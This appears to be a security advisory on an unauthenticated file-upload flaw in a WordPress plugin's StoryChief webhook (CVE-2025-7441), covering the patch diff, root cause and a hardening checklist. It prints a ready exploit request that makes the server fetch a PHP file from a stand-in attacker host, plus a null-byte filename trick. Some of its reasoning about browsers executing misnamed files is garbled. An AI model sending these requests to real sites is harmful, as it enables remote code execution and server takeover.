The Exploit
An unauthenticated attacker can upload arbitrary files to the WordPress installation by sending a specially crafted request to the /wp-json/storychief/webhook REST endpoint, which accepts a remote URL parameter that is fetched and saved without proper filetype validation.
POST /wp-json/storychief/webhook HTTP/1.1
Host: target-wordpress.local
Content-Type: application/json
{
"url": "http://attacker.com/malicious.php",
"post_id": 1,
"alt": "test"
}
The server responds with HTTP 200 and a JSON object containing the attachment_id of the newly uploaded file. An attacker observes the file written to /wp-content/uploads/YYYY/MM/ with an executable extension (.php, .phtml, .phar). If the web server executes files in the uploads directory, the attacker has achieved remote code execution.
What the Patch Did
Before
public $url;
public $filename;
$ch = curl_init($this->url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
$image_data = curl_exec($ch);
$image_name = $this->getFilename();
file_put_contents($upload_path . '/' . $image_name, $image_data);
After
private $storychief_url;
public $url;
public $attachment_id;
$get = wp_remote_get( $this->storychief_url );
$type = wp_remote_retrieve_header( $get, 'content-type' );
if ( ! preg_match( '/^image\//i', $type ) ) {
return false;
}
$image_data = wp_remote_retrieve_body( $get );
$filename = sanitize_file_name( basename( $this->url ) );
wp_upload_bits( $filename, null, $image_data );
The patch replaced raw cURL with wp_remote_get() for secure transport, added a content-type validation check that rejects non-image MIME types, sanitized the filename with sanitize_file_name(), and delegated file writing to the WordPress core function wp_upload_bits(), which enforces WordPress's file upload filters and blacklists dangerous extensions.
Root Cause
CWE-434 (Unrestricted Upload of File with Dangerous Type) combined with CWE-20 (Improper Input Validation). The attacker-controlled url parameter enters the REST endpoint, is fetched via cURL without output validation, and written directly to disk without checking the Content-Type header or extension blacklist. The file extension is derived from the attacker-controlled URL itself via getFilename(), which does not sanitize or validate the extension. The trust boundary — between external HTTP response and trusted upload directory — is crossed without any inspection of the file's actual type.
Why It Works
The load-bearing line is if ( ! preg_match( '/^image\//i', $type ) ) { return false; }, which explicitly rejects non-image MIME types before any file write occurs. Without this check, even if the filename is sanitized, an attacker can set the Content-Type header in their response to image/jpeg while serving PHP bytecode, and the file will be written with a .jpg extension — but modern browsers will execute it if the server is misconfigured, or an attacker can chain to a second-order RCE via .htaccess upload. The engineer added wp_remote_get() to gain built-in certificate validation and WordPress hook integration (the wp_handle_upload() and wp_check_filetype_and_prune() filters run inside wp_upload_bits()). Filename sanitization via sanitize_file_name() closes a secondary path: an attacker could have sent a URL like http://attacker.com/shell.php%00.jpg to create shell.php on older PHP versions via null-byte injection. The combination makes it difficult for an attacker to reach the file-write sink with a dangerous type.
Hardening Checklist
- Use
wp_remote_get()instead of cURL for all remote file fetches; it centralizes certificate validation, proxy support, and enables security filters. - Call
wp_check_filetype()on the filename and verify that the returned MIME type is in a whitelist (image/jpeg,image/png,image/gif,image/webp) before writing; do not trust the Content-Type header alone. - Pass all user-controlled filenames through
sanitize_file_name()to remove path traversal sequences, null bytes, and non-alphanumeric characters that bypass extension filters. - Delegate file writes to
wp_upload_bits()orwp_handle_upload()rather thanfile_put_contents(), ensuring all registered upload filters run and dangerous extensions are blocked by WordPress core. - Disable execution in the uploads directory via
.htaccess(<FilesMatch "\.php$"> Deny from all </FilesMatch>) or web server configuration; this eliminates RCE even if a dangerous file is uploaded.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-7441